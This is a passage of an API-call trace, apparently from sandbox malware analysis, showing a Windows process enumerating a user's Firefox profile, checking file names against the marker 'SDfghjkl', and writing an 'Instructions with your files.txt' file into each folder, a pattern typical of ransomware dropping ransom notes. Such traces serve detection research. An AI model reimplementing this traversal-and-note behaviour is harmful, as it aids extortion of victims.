[0131.534] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\minidumps\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\minidumps\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.536] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.536] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.537] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.537] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.537] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.537] CloseHandle (hObject=0x124) returned 1
[0131.537] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.537] GetProcessHeap () returned 0x810000
[0131.537] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.537] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x80696ec0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parent.lock", cAlternateFileName="PARENT~1.LOC")) returned 1
[0131.537] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\parent.lock") returned 103
[0131.537] StrStrIW (lpFirst="parent.lock", lpSrch="SDfghjkl") returned 0x0
[0131.537] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb43eb830, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb43eb830, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc3b3f6e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="permissions.sqlite", cAlternateFileName="PERMIS~1.SQL")) returned 1
[0131.537] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite") returned 110
[0131.537] StrStrIW (lpFirst="permissions.sqlite", lpSrch="SDfghjkl") returned 0x0
[0131.537] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4c1a3d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4c1a3d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x82b58970, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa00000, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite", cAlternateFileName="PLACES~1.SQL")) returned 1
[0131.537] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\places.sqlite") returned 105
[0131.537] StrStrIW (lpFirst="places.sqlite", lpSrch="SDfghjkl") returned 0x0
[0131.537] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81fbde30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81fbde30, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81fbde30, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="pluginreg.dat", cAlternateFileName="PLUGIN~1.DAT")) returned 1
[0131.537] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\pluginreg.dat") returned 105
[0131.537] StrStrIW (lpFirst="pluginreg.dat", lpSrch="SDfghjkl") returned 0x0
[0131.537] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84c85c10, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x853f60d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x12069be0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0xfde, dwReserved0=0x0, dwReserved1=0x0, cFileName="prefs.js", cAlternateFileName="")) returned 1
[0131.537] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js") returned 100
[0131.537] StrStrIW (lpFirst="prefs.js", lpSrch="SDfghjkl") returned 0x0
[0131.537] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x4183, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.json", cAlternateFileName="SEARCH~1.JSO")) returned 1
[0131.538] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json") returned 103
[0131.538] StrStrIW (lpFirst="search.json", lpSrch="SDfghjkl") returned 0x0
[0131.538] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb477d930, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb477d930, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb47c9bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="secmod.db", cAlternateFileName="")) returned 1
[0131.538] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db") returned 101
[0131.538] StrStrIW (lpFirst="secmod.db", lpSrch="SDfghjkl") returned 0x0
[0131.538] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb82fff30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc3787480, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc3787480, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.bak", cAlternateFileName="SESSIO~1.BAK")) returned 1
[0131.538] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak") returned 108
[0131.538] StrStrIW (lpFirst="sessionstore.bak", lpSrch="SDfghjkl") returned 0x0
[0131.538] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb82fff30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x84e029d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x84e029d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.js", cAlternateFileName="SESSIO~1.JS")) returned 1
[0131.538] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js") returned 107
[0131.538] StrStrIW (lpFirst="sessionstore.js", lpSrch="SDfghjkl") returned 0x0
[0131.538] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb66495d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb66495d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6f36850, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x50000, dwReserved0=0x0, dwReserved1=0x0, cFileName="signons.sqlite", cAlternateFileName="SIGNON~1.SQL")) returned 1
[0131.538] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite") returned 106
[0131.538] StrStrIW (lpFirst="signons.sqlite", lpSrch="SDfghjkl") returned 0x0
[0131.538] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="times.json", cAlternateFileName="TIMES~1.JSO")) returned 1
[0131.538] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\times.json") returned 102
[0131.538] StrStrIW (lpFirst="times.json", lpSrch="SDfghjkl") returned 0x0
[0131.538] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f60210, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80d71510, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80d71510, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapps", cAlternateFileName="")) returned 1
[0131.538] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps") returned 99
[0131.538] GetProcessHeap () returned 0x810000
[0131.538] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.538] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*") returned 101
[0131.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f60210, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80d71510, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80d71510, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.539] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\.") returned 101
[0131.539] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb4f60210, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80d71510, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80d71510, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.539] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\..") returned 102
[0131.539] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cff0f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80cff0f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80cff0f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapps.json", cAlternateFileName="WEBAPP~1.JSO")) returned 1
[0131.539] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\webapps.json") returned 112
[0131.539] StrStrIW (lpFirst="webapps.json", lpSrch="SDfghjkl") returned 0x0
[0131.539] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cff0f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80cff0f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80cff0f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapps.json", cAlternateFileName="WEBAPP~1.JSO")) returned 0
[0131.539] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\Instructions with your files.txt") returned 132
[0131.539] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webapps\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.540] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.541] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.541] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.541] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.541] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.541] CloseHandle (hObject=0x124) returned 1
[0131.541] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.541] GetProcessHeap () returned 0x810000
[0131.541] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.541] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb66495d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb66495d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc3a63b40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 1
[0131.541] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webappsstore.sqlite") returned 111
[0131.541] StrStrIW (lpFirst="webappsstore.sqlite", lpSrch="SDfghjkl") returned 0x0
[0131.541] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb66495d0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb66495d0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc3a63b40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 0
[0131.541] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Instructions with your files.txt") returned 124
[0131.541] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.542] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.543] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.543] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.543] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.543] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.543] CloseHandle (hObject=0x120) returned 1
[0131.543] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.543] GetProcessHeap () returned 0x810000
[0131.543] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.543] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0
[0131.543] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\Instructions with your files.txt") returned 107
[0131.543] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.544] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.544] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.544] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.545] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.545] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.545] CloseHandle (hObject=0x11c) returned 1
[0131.545] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.545] GetProcessHeap () returned 0x810000
[0131.545] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.545] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="profiles.ini", cAlternateFileName="")) returned 1
[0131.545] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 78
